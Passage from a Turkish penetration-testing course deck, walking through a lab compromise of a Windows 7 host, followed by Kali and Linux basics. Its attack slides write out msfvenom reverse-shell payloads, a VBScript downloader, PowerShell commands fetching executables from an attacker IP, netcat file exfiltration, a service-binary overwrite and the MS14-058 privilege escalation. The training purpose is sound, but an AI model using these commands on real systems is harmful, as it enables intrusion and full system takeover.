  • 93. SİSTEM – 2 (SENARYO) TCP 888 portunda çalışan servisin ALLMedia Server ile ilgili olduğuna dair şüphemiz güçlendiği için bu uygulamayla ilgili istismar kodu var mı arıyoruz. Birinci istismar kodunu içinde bulunduğumuz dizine kopyalıyoruz.
  • 94. SİSTEM – 2 (SENARYO) Windows 7 üzerinde çalışan bir istismar kodu. Bizim işletim sistemi tahminimizle de uyumlu.
  • 95. SİSTEM – 2 (SENARYO) İstismar kodu içinde bulunan shell code bir reverse tcp kodu, ancak bizim ihtiyacımıza uygun değil. Çünkü bizim istediğimiz adrese dönmesi lazım.
  • 96. SİSTEM – 2 (SENARYO) Reverse TCP bağlantısının kurulması için bilgisayarımızın IP adresini kontrol edelim.
  • 97. SİSTEM – 2 (SENARYO) # msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.163.138 LPORT=4444 -e x86/shikata_ga_nai -b 'x00' -i 3 -f python > payload.txt Python reverse tcp shell payload'umuzu oluşturuyoruz. Dönüş yapacağımız TCP port'u 4444
  • 98. SİSTEM – 2 (SENARYO) Bizim oluşturduğumuz shell code.
  • 99. SİSTEM – 2 (SENARYO) Kendi shellcode'umuzu yerleştirdikten sonra istismar kodundaki yerel değişken isimlerinden dolayı taranmış alanda da gösterilen düzenlemeyi yapıyoruz.
  • 100. SİSTEM – 2 (SENARYO) ALLMedia Server olduğundan şüphelendiğimiz servisi exploit etmeye hazırız. Dönen shell'i karşılamak için Netcat ile TCP 4444 portundan dinlemeye başlıyoruz.
  • 101. SİSTEM – 2 (SENARYO) İstismar kodumuzu çalıştırdığımızda reverse shell'imizi alıyoruz. "whoami" komutu ile bağlandığımız kullanıcı kodunu sorguladığımızda "test" adlı kullanıcıyla sisteme bağlandığımızı görüyoruz.
  • 102. SİSTEM – 2 (SENARYO) whoami /groups komutu ile kullanıcımızın dahil olduğu grupları listelediğimizde Administrators grubuna dahil olduğumuzu görüyoruz. Bu oldukça iyi, ancak Windows işletim sisteminde en yüksek erişim hakkına sahip kullanıcı System kullanıcısı.
  • 103. SİSTEM – 2 (SENARYO) wmic service get name,displayname,pathname,startmode Windows bilgisayarlarda yetki yükseltmek için faydalanabileceğimiz zayıflıklardan birisi de servis kodlarının erişim kontrol zayıflığıdır. Bunun için önce "wmic service get" komutu ile tüm servisleri listeleyelim.
  • 104. SİSTEM – 2 (SENARYO) wmic service get name,displayname,pathname,startmode | findstr /i /v "windows" Hedefimizi biraz daha daraltmak için içinde Windows geçmeyen satırları arayalım. C:Windows dizini dışında bulunan çalıştırılabilir kodların erişim hakları daha gevşek olabilir düşüncesi ile böyle bir inceleme yapabiliriz.
  • 105. SİSTEM – 2 (SENARYO) cacls C:btrisk Kullanıcımızın da içinde olduğu Administrators grubunun C:btrisk dizinine Full erişim hakkı var.
  • 106. Hedef sistem üzerinde daha rahat işlem yapabilmek için dosya aktarabilmemiz lazım. Windows ortamında wget benzeri bir fonksiyonaliteyi bu vb script ile oluşturabiliriz. SİSTEM – 2 (SENARYO) echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
  • 107. SİSTEM – 2 (SENARYO) Script'imizi yazarken erişim hakkı problemi yaşamamak için C:WindowsTemp dizinine geçiyoruz. Script'i kopyala yapıştır işlemiyle shell'imize yazabiliriz. Shell erişimimiz üzerinden hedef bilgisayar üzerinde wget.vbs script'imiz oluşacaktır.
  • 108. SİSTEM – 2 (SENARYO) Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme System kullanıcı hakları ile bağlanmak amacıyla servis exe türünde bir payload oluşturuyoruz. Bu payload bilgisayarımıza TCP 5555 portundan bağlanacak. # msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.163.138 LPORT=5555 -f exe-service -o service.exe # python -m SimpleHTTPServer 80 SimpleHTTPServer Python modülü ile basit bir HTTP servisini içinde bulunduğumuz dizin içinde başlatıyoruz.
  • 109. SİSTEM – 2 (SENARYO) cscript wget.vbs http://192.168.163.138/service.exe service.exe wget.vbs script'i ile servis exe'mizi hedef bilgisayara çekiyoruz. Daha sonra yazma hakkımız olduğu için bu dosya ile asıl servis kodunu eziyoruz.
  • 110. SİSTEM – 2 (SENARYO) Servis tekrar başlatıldığında System kullanıcı hakları ile açılacak shell'i beklemek amacıyla TCP 5555 portundan dinlemeye başlıyoruz.
  • 111. SİSTEM – 2 (SENARYO) net stop btrservice net start btrservice Btrservice servisimizi tekrar başlatarak reverse shell bağlantısının kurulmasını sağlıyoruz.
  • 112. SİSTEM – 2 (SENARYO) YETKİ YÜKSELTME – PRIVILEGE ESCALATION
  • 113. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo • Az önceki örneğimizde hedef bilgisayarımızdaki bir yetkilendirme konfigürasyon hatasından faydalandık. • Bu örneğimizde ise hedef bilgisayarda bir lokal exploit kullanarak yetki yükseltme adımını gerçekleştireceğiz.
  • 114. Bu script'in kodunu GitHub'ın web sitesinden "raw" düğmesine sağ klikleyerek kodu indirebilirsiniz Hedef sistem üzerinde SYSTEM haklarına geçiş yapabilmek için sistemin eksik yamalarını inceleyeceğiz. Bunun için hedef sunucudan alacağımız "systeminfo" komutunun sonuçlarını Windows Exploit Suggester script'i ile analiz edeceğiz. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  • 115. Windows-exploit-suggester.py script'imize çalıştırma izni verdikten sonra "--update" opsiyonuyla çalıştırıyoruz. Bu işlem sayesinde script'imiz güncel güncelleme listesini bir XLS dosyası olarak indiriyor. ./windows-exploit-suggester.py --update SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  • 116. Küçük bir ayrıntı ancak Python script'imiz bir XLS dosyayı girdi olarak alacağı için XLRD python paketinin yüklenmesi gerekiyor. pip install xlrd SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  • 117. SİSTEM – 2 (SENARYO) locate nc.exe Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve download imkanlarına sahip değiliz. Hedef sisteme upload yapabilmek için daha önce bir VBS script'i oluşturduk, ayrıca Windows işletim sistemi bize Powershell, BITS gibi ek imkanlar da sunuyor upload işlemi için. Ancak Windows'dan saldırı platformumuza download için imkanlarımız daha kısıtlı. Bu kısıtı aşabilmekve bu sistemden (saldırı sistemimize) download kabiliyetimizi artırmak için hedef sisteme NetCat'i yükleyebiliriz. Yetki Yükseltme Alternatif Senaryo
  • 118. SİSTEM – 2 (SENARYO) python -m SimpleHTTPServer 80 NetCat'i yüklemek için basit HTTP sunucumuzu başlatalım. Yetki Yükseltme Alternatif Senaryo
  • 119. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ nc.exe','C:WindowsTempnc.exe')"; Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz. PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir. Yetki Yükseltme Alternatif Senaryo
  • 120. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  • 121. SİSTEM – 2 (SENARYO) systeminfo > C:WindowsTempsysteminfo.txt "systeminfo" komutu ile hedef bilgisayar hakkındaki temel bilgiler (işletim sistemi versiyon ve mimarisi gibi) ile birlikte yüklenmiş olan yamaların (hotfix'ler) da listesini alabiliriz. Yetki Yükseltme Alternatif Senaryo
  • 122. SİSTEM – 2 (SENARYO) nc -vv -lp 8888 > systeminfo.txt Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz. Yetki Yükseltme Alternatif Senaryo
  • 123. SİSTEM – 2 (SENARYO) nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt Hedef Windows sistemi üzerinde çalıştıracağımız bu komutla dosyayı saldırı sistemimiz üzerinde dinlemekte olduğumuz TCP 8888 portuna iletiyoruz. Bu kullanımda "-w 10" parametresi bağlantının 10 sn. sonra sonlandırılması için kullanılmaktadır. Eğer aktarım süreniz daha uzunsa bu süreyi uzatmalısınız. Yetki Yükseltme Alternatif Senaryo
  • 124. SİSTEM – 2 (SENARYO) Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat uygulaması bağlantıyı sonlandırdığında dinleyen NetCat'de çalışmayı sonlandırdı. Yetki Yükseltme Alternatif Senaryo
  • 125. SİSTEM – 2 (SENARYO) ./windows-exploit-suggester.py -i systeminfo.txt -d 2019-01-11-mssb.xls > winexploits.txt Daha önce indirdiğimiz exploit suggester uygulamamızla Microsoft'tan yeni güncellediğimiz yama listesini ve hedef sistem üzerinde mevcut yamaları karşılaştıralım. Bu işlemi gözle daha yapabileceğimizi unutmayalım. Yetki Yükseltme Alternatif Senaryo
  • 126. SİSTEM – 2 (SENARYO) Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri araştırıp, bulup hedef sistem üzerinde deneyebiliriz. Başında [E] olan satırlar Exploit-Db'de mevcut lokal exploit'leri, [M] olan satırlar Metasploit'te mevcut olan lokal exploit'leri belirtmek için kullanılmış. Ancak farklı kaynaklardan da lokal exploit bulmak mümkün. Yetki Yükseltme Alternatif Senaryo
  • 127. SİSTEM – 2 (SENARYO) Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir. Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı bir exploit kodunu internetten bularak kullanacağız. Yetki Yükseltme Alternatif Senaryo
  • 128. SİSTEM – 2 (SENARYO) MS14-058 için ekranda görülen linkli RAR paketini kullanabiliriz. Yetki Yükseltme Alternatif Senaryo
  • 129. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  • 130. SİSTEM – 2 (SENARYO) Hedef sistemimiz 64 bit'lik bir işletim sistemi olduğu için Win64.exe dosyasını /root/ dizinine çıkaralım. Yetki Yükseltme Alternatif Senaryo
  • 131. SİSTEM – 2 (SENARYO) Win64.exe dosyasının içinde bulunduğu /root/ dizininin içinden basit HTTP servisimizi başlatalım. Yetki Yükseltme Alternatif Senaryo
  • 132. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ Win64.exe','C:WindowsTempWin64.exe')"; Yetki Yükseltme Alternatif Senaryo
  • 133. SİSTEM – 2 (SENARYO) msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe Win64.exe exploit kodumuzla tetikleyeceğimiz ve bize "SYSTEM" kullanıcı hakları ile ikinci bir shell açacak olan payload'umuzu "msfvenom" ile oluşturalım. Yetki Yükseltme Alternatif Senaryo
  • 134. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ shell.exe','C:WindowsTempshell.exe')"; Reverse TCP shell payload'umuzu da hedef sisteme PowerShell yardımı ile yükleyelim. Yetki Yükseltme Alternatif Senaryo
  • 135. SİSTEM – 2 (SENARYO) İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini basit HTTP sunucumuzu başlattığımız konsolumuzdan görebiliriz. Yetki Yükseltme Alternatif Senaryo
  • 136. SİSTEM – 2 (SENARYO) "SYSTEM" hakları ile bağlantı kurmasını beklediğimiz payload'umuzu karşılamak üzere TCP 5555 portundan dinleyen servisimizi başlatalım. Yetki Yükseltme Alternatif Senaryo
  • 137. SİSTEM – 2 (SENARYO) Win64.exe shell.exe Yetki Yükseltme Alternatif Senaryo
  • 138. SİSTEM – 2 (SENARYO) Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı haklarımızı kontrol edebiliriz. Yetki Yükseltme Alternatif Senaryo
  • 139. SİSTEM – 2 (SENARYO) ÖZETLE; • TCP port taramasında bir servis tespit ettik ancak ne servisi olduğu ve versiyonu ile ilgili bilgi edinemedik. • UDP port taramasında SNMP servisini ve community string olarak "public" kelimesini kullandığını tespit ettik. • SNMP sorguları ile servisin ALLMediaServer olduğuna dair bir fikir oluştu. • Bu uygulama için yayınlanmış bir exploit kodunu düzenledik ve shell aldık.
  • 140. SİSTEM – 2 (SENARYO) ÖZETLE (devamı); • Yetki yükseltme çalışmaları için dosya yükleme imkanı geliştirdik (wget.vbs ile) • Hedef Windows bilgisayar üzerindeki servisleri ve bu servislerin kodlarının bulunduğu dizinleri inceledik. • Erişim kontrolü yetersiz bir servis exe'sini kendi payload'umuzla ezerek System erişimi elde ettik. • Alternatif bir yetki yükseltme senaryosu olarak MS14-058 yamasının yüklenmediğini tespit ettiğimiz hedef sistem üzerinde bu exploit vasıtasıyla yetkimizi yükselttik.
  • 141. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları ifconfig Linux IP adres bilgilerini gösterir. netdiscover Kali ARP vd. tekniklerle sunucu keşfi yapar. nmap Kali Port tarama, işletim sistemi ve servis keşfi yapar. Ayrıca çeşitli yardımcı scriptler ile açıklık taramaları yapar. searchsploit Kali Kali üzerinde bulunan Exploit DB istismar kodları içinde arama yapmak için kullanılır. Burp Suite Kali Web attack proxy aracıdır. Ücretsiz sürümündeki fonksiyonalite sınırlıdır. nikto Kali Web sunucuları üzerinde belirli açıklıkları tarar ve backend içerik taraması gerçekleştirir. dirb Kali Web sunucuları üzerinde frontend ve backend içerik taraması gerçekleştirir. Exploit DB web sitesi Web İstismar kodlarının toplu biçimde sunulduğu bir web sitesidir. unzip Linux Linux üzerinde zip'li dosyaları açmak için kullanılır.
  • 142. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları grep Linux Linux üzerinde belirli bir kelimeyi dosyalar ve stdin içinde arar, kelimenin bulunduğu satırı çıktı olarak üretir. cewl Kali Verilen hedef web sayfasındaki kelimelerden parola sözlüğü oluşturur. head Linux Belli bir dosyanın ilk satılarını görüntüler. KoreLogic JTR rule'ları Kali JTR parola kırma aracının parola üretme fonksiyonalitesi için özel kurallar barındırır. John the Ripper Kali Çevrim dışı (offline) parola kırma aracıdır. Biz parola sözlüğü türetmek için kullandık. OWASP ZAP Kali Web attack proxy aracıdır. msfvenom Kali İstismar payload kodu üretmek için kullanılır. Makine dili (executable) dahil pek çok dilde istismar kodu üretir. netcat Kali TCP ve UDP istemci ve sunucu olarak kullanılabilir. Ayrıca port tarama imkanı da vardır. msfconsole Kali Metasploit framework'ün en çok kullanılan arayüzüdür. Exploit işlemini otomatikleştirmek için pek çok fonksiyonalitesi vardır.
  • 143. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları meterpreter Kali Çok aşamalı istismar kodu gönderme mimarisinde ve çeşitli fonksiyonaliteleri sağlayan payload framework'üdür. whoami Linux / Windows Mevcut kullanıcı adımızı ve diğer bilgileri sorgulamayı sağlar. uname -a Linux Linux sunucu adı, versiyonu ve kernel versiyonu bilgilerini listeler. cat /etc/*-release Linux cat komutu dosya içeriğini listeler. release dosya içeriği Linux işletim sistemi ile ilgili detay bilgi içerir. id Linux Linux'ta mevcut kullanıcı kodu ve grup üyeliklerini listeler. nbtscan Kali Windows bilgisayarlar için uzaktan NetBIOS isim servisini taramak için kullanılır. snmp-check Kali SNMP servisi tarama aracıdır. wmic service Windows Windows bilgisayarlar üzerindeki WMI arayüzünden (komut satırından) bilgi sorgulama aracıdır. findstr Windows Dosya ve stdin üzerinden aldığı satırlar içinde kelime aracıdır.
  • 144. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları cacls Windows Windows dosya ve dizin erişim hakları sorgulama ve tanımlama aracıdır. vb script Windows Windows tarafından desteklenen bir script dilidir. SimpleHTTPServer Kali PHP, ASP v.b. web script dosyaları da dahil herhangi bir dosyanın hedef sistem üzerinden HTTP protokolü ile çekilebilmesi için kullanılan basit bir HTTP servis modülüdür. net stop / start Windows Windows üzerinde servis durdurma ve başlatma komutlarıdır. Wireshark Kali Paket dinleme ve protokol analiz aracı.
  • 145. OLASI SORULAR VE İLGİLİ BÖLÜMLER Soru Eğitim Bölümü Kali tam olarak nedir? Kali'ye Giriş Kali'nin üzerine bir uygulama kurulum yöntemi nedir? Kali'ye Giriş Linux üzerindeki temel komutlar nelerdir? Kali'ye Giriş TCP, UDP, HTTP nedir? Bilgi Toplama Nmap portları nasıl buluyor, işletim sistemini nasıl tahmin ediyor? Bilgi Toplama Netcat nasıl çalışıyor? Bilgi Toplama NetBIOS nedir? Bilgi Toplama SNMP nedir? Bilgi Toplama Whois nedir? Bilgi Toplama Shellcode nedir? Bellek Taşma Açıklıkları
  • 146. OLASI SORULAR VE İLGİLİ BÖLÜMLER Soru Eğitim Bölümü Msfvenom ile ürettiğimiz shellcode'lar neden x ile başlayan bölümlerden oluşuyor? Bellek Taşma Açıklıkları Attack proxy tam olarak ne yapıyor? Web Uygulama Açıklıkları Nikto ve dirb /admin dizinini nasıl buldu? Web Uygulama Açıklıkları SQL injection nedir? Web Uygulama Açıklıkları PHP nedir? Web Uygulama Açıklıkları Payload nedir, shellcode'dan farkı nedir? Metasploit ve Meterpreter Meterpreter nedir? Metasploit ve Meterpreter John the Ripper ne işe yarıyor? Parola Kırma Yetki yükseltme yöntemleri nelerdir? Yetki Yükseltme Local exploit ne demektir? Yetki Yükseltme
  • 148. İÇERİK • Kali Linux Nedir? • Linux Shell Ortamı • Linux Dosya Sistemi İşlemleri • Linux Dosya Bulma İşlemleri • Linux Shell Scripting • Linux Kullanıcı Yönetimi • Linux Ağ Trafiği İzleme • Kali Linux Servis Yönetimi • Linux Uygulama Kurulumu • Editörler ve Dosya İzleme Araçları
  • 149. KALİ LINUX NEDİR? • Kali bir (genel amaçlı konularda Debian paketleri baz alınarak oluşturulmuş) Linux dağıtımıdır, ancak genel amaçlı olmayıp özellikle sızma testi, adli bilişim ve tersine mühendislik amaçlarıyla kullanılmak üzere özelleştirilmiştir. • Kali’nin araçlar açısından genel eğilimden farklılaştığı bir nokta sadece DOS, DDOS ve anonim internet erişimine özel araçları genellikle yasal projelerde kullanılmadıkları gerekçesiyle dışlamış olması ve barındırmamasıdır. • Debian standartlarına bağlı kalınarak özelleştirilmiş bu dağıtımın kernel seviyesinde ve güvenlik araçları uygulama kodları seviyesinde gerekli görülen pek çok irili ufaklı özelleştirme yapılmıştır. Yani herhangi bir linux işletim sistemi alınarak üzerine araçlar basit bir şekilde kurulmamıştır. Çoğunluğu açık kaynak kodlu araçlardan oluşan güvenlik yazılım paketleri ile ilgili bilgi ve yama linklerine http://tools.kali.org web sitesinden ulaşabilirsiniz.
  • 150. KALİ LINUX NEDİR? Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır: • Tek kullanıcı ve “root” kullanıcısı olarak kullanılmak üzere tasarlanmıştır. Bu yaklaşım normal sunucular için güvenlik açısından sakıncalıdır. Ancak kali’de kullanılan araçların önemli bir kısmı root erişim haklarına ihtiyaç duyurmakta ve her defasında sudo yapmaktan kurtulmak için bu yaklaşım kullanılmaktadır. • Kali genel amaçlı bir dağıtım değildir ve bu nedenle ağ servisi vermesi de beklenmez. Bu yüzden sistem başlangıç konfigürasyonları tüm servisler kapalı olacak şekildedir. Elbette siz servisleri açabilir ve bunları her reboot işleminden sonra aktif hale gelecek şekilde ayarlayabilirsiniz. Ancak diğer Linux dağıtımlarında yeni bir servis kurulduğunda öntanımlı olarak init script'lerini oluşturarak aktif hale gelmesini sağlayan update-rc.d script'i Kali Linux üzerinde değiştirilerek bir kara liste kontrolü yapılmıştır. • Kali kablosuz ağ testleri için özelleştirilmiş bir kernel kullanmaktadır. Yani ayrıca özel sürücüler kurma ihtiyacı yoktur.
  • 151. KALİ LINUX NEDİR? update-rc.d içindeki kara liste
  • 152. KALİ LINUX NEDİR? • Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir platform olduğu söylenemez. Linux hakkında temel deneyimleri edinmek için Ubuntu, Debian, Mint gibi dağıtımlar tercih edilebilir. • Bununla birlikte Kali’yi etkin olarak kullanmak için temel linux kullanıcı ve sistem yönetici bilgisine sahip olmak gereklidir.
  • 153. LINUX SHELL ORTAMI Kullanıcılar logon olduklarında çalışacak olan shell uygulaması /etc/passwd dosyasında belirtilir. SORU: /usr/sbin/nologin ve /bin/false gibi dosyalar ne işe yarıyor olabilir?.. Kullanıcı $HOME dizini Kullanıcı logon olduğunda içine düşeceği dizindir. /etc/passwd
  • 154. LINUX SHELL ORTAMI Shell açılışı sırasında çalışan profil script'leri /etc/profile ~/.bash_profile ~/.bash_login ~/.profile
  • 155. LINUX SHELL ORTAMI Shell değişkenleri ve çevresel değişkenlerin atanması ve sorgulanması
  • 156. LINUX SHELL ORTAMI # env | more ÇEVRESEL DEĞİŞKENLER $PATH çevresel değişkeni
  • 157. LINUX SHELL ORTAMI "echo" komutuyla shell değişkenleri ve çevresel değişken gösterme
  • 158. LINUX SHELL ORTAMI # nohup komutu ile arka plandaki işin shell proses'inden bağımsız çalıştırılması
  • 159. LINUX SHELL ORTAMI Ctrl+Z, fg ve bg komutları ile işlerin arka plana atılması ve ön plana alınması
  • 160. LINUX SHELL ORTAMI stdout yönlendirme (redirection) ">"
  • 161. LINUX SHELL ORTAMI stdout yönlendirme (redirection) yapılsa da stderr konsola yazılmaya devam ediyor.
  • 162. LINUX SHELL ORTAMI Hem stdout'u hem de stderr'u yönlendirme (redirection) "&>" veya "2>&1"
  • 163. LINUX SHELL ORTAMI stdin yönlendirme (redirection) "<"
  • 164. LINUX SHELL ORTAMI Ekleme (append etme) ">>"
  • 165. LINUX SHELL ORTAMI Pipe ile bir sonraki komutun stdin'ine veri aktarma "|"
  • 166. LINUX SHELL ORTAMI "tee" komutu ile hem konsola hem dosyaya veri yazma
  • 167. LINUX SHELL ORTAMI Diğer pratik shell komutları: • sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çıktı üretir • uniq: Sıralanmış bir girdi dizisinden tekrarlayan satırları çıkararak satırları tekil biçimde tekrar üretir • grep: En sık kullanılan filtrelerden birisi olan “grep” komutu girdilerin içinde belirli bir veri yapısını arar ve bu veri yapısının bulunduğu satırın tamamını çıktı olarak tekrarlar. Yani veri yapısının görülmediği satırları eler. Veri yapısı sabit bir metin olabileceği gibi bir “regular expression” da olabilir. • head: Genellikle büyük bir dosya inceleneceği zaman sadece ilk birkaç satırını görmek için kullanılır. • tail: Genellikle büyük bir dosya inceleneceği zaman (örneğin bir log dosyası gibi) dosyanın sadece son birkaç satırını görmek için kullanılır. Tail komutu özellikle log dosyaları gibi sık değişen dosyaların sonuna eklenen satırların sürekli izlenmesi için “-f” switch’i ile birlikte kullanılır. • sed: Adı “stream editor”ün kısaltması olan “sed” komutu aldığı girdi içinde gerekli değişiklik ve dönüşümleri yaparak çıktı üretir.
  • 168. LINUX SHELL ORTAMI Shell History dosyaları kullanıcıların $HOME dizinlerinde bulunur ve hassas bilgi içerebilir
  • 169. LINUX SHELL ORTAMI EGZERSİZ • Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda shell'inizde tanımlı olan $PATH çevresel değişkeni "local path"i (yani ".") içermekte midir? • İçermiyorsa veya içermeseydi içinde bulunduğunuz dizindeki bir uygulamayı / script'i nasıl çalıştırabilirdiniz?
  • 170. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls" komutu ile dizin ve dosyaları listeleme
  • 171. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls -a" komutu ile normalde görüntülenmeyen adı "." ile başlayan dizin ve dosyaları listeleme
  • 172. LINUX DOSYA SİSTEMİ İŞLEMLERİ "pwd" yani Present Working Directory komutu ile içinde bulunduğumuz dizinin adını öğrenme
  • 173. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls -l" komutu ile dizin ve dosyaların sahiplik, erişim hakları ve boyutlarını listeleme
  • 174. LINUX DOSYA SİSTEMİ İŞLEMLERİ Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı (special permission flag) bulunur. [-] [rwx] [rwx] [rwx] Bu ilk bölümde bulunabilecek tüm opsiyonlara farklı bir kaynaktan ulaşabilirsiniz. Ancak burada sadece sıklıkla karşılaşılan opsiyonlara değineceğim: • “-“ karakteri dosyanın rutin bir dosya olduğuna işaret eder. • “d” karakteri ilgili ismin bir dizin ismi olduğunu belirtir. • “l” dosyanın aslında farklı bir dosyanın sembolik linki olduğunu belirtir. Bu konuyu aşağıda açıklayacağız.
  • 175. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ln -s" komutu ile sembolik link oluşturma
  • 176. LINUX DOSYA SİSTEMİ İŞLEMLERİ Dosya erişim izinleri 3 farklı grup için verilir: • Dosya sahibi kullanıcı (u - owner) • Grup (g - group) • Diğer (tüm) kullanıcılar (o - others) Erişim hakları ise aşağıdaki gibidir: • Okuma (r - read): Dosyalar için dosyanın içeriğinin görülebilmesi, dizinler için dizin içeriğinin listelenmesi anlamına gelir. • Yazma (w - write): Dosyalar için dosya içeriğinin değiştirilebilmesi, dizinler için dizin içinde dosya oluşturma, dizin içindeki dosyaların adını değiştirme, dizin içindeki dosyaları silme ve dizin özelliklerini (attributes) değiştirebilme anlamına gelir. • Çalıştırma (x - execute): Dosyalar için dosyanın (derlenmiş kod dosyası veya script dosyası) çalıştırılabilmesi, dizinler için dizine giriş, dizinin içindeki dosya ve dizinlere erişim hakkı anlamına gelir.
  • 177. LINUX DOSYA SİSTEMİ İŞLEMLERİ Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
  • 178. LINUX DOSYA SİSTEMİ İŞLEMLERİ "chmod" komutu ile dosya erişim haklarının düzenlenmesi
  • 179. LINUX DOSYA SİSTEMİ İŞLEMLERİ "cd" komutu ile relative dizin değiştirme
  • 180. LINUX DOSYA SİSTEMİ İŞLEMLERİ "cp", "mv", "rename" ve "rm" komutları
  • 181. LINUX DOSYA BULMA İŞLEMLERİ "which" komutu ile $PATH çevresel değişkenindeki dizin sırasında ilk bulunan çalıştırılabilir kodun görüntülenmesi "-a" opsiyonu ile tüm dizinlerde bulunan çalıştırılabilir kodların araştırılması
  • 182. LINUX DOSYA BULMA İŞLEMLERİ "locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
  • 183. LINUX DOSYA BULMA İŞLEMLERİ "find" komutunun "-name" opsiyonu ile kullanılması ve "/etc" dizini ve alt dizinlerinde ismi "prof" ile başlayan tüm dosyaların adlarının listelenmesi
  • 184. LINUX DOSYA BULMA İŞLEMLERİ EGZERSİZ • "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti işaretli ve sahibi "root" kullanıcısı olan kaç adet dosya bulunmaktadır? İpucu: "man" komutu ile "find" komutunun manual page'ini inceleyiniz. "man" komutu öntanımlı olarak "vi" editörünü (read- only) kullanır. "vi" da bir kelimeyi aramak için "/" karakterine bastıktan sonra kelimeyi yazabilirsiniz. "find next" işlemi için "n" tuşunu kullanınız. İnternet'ten faydalanabilirsiniz.
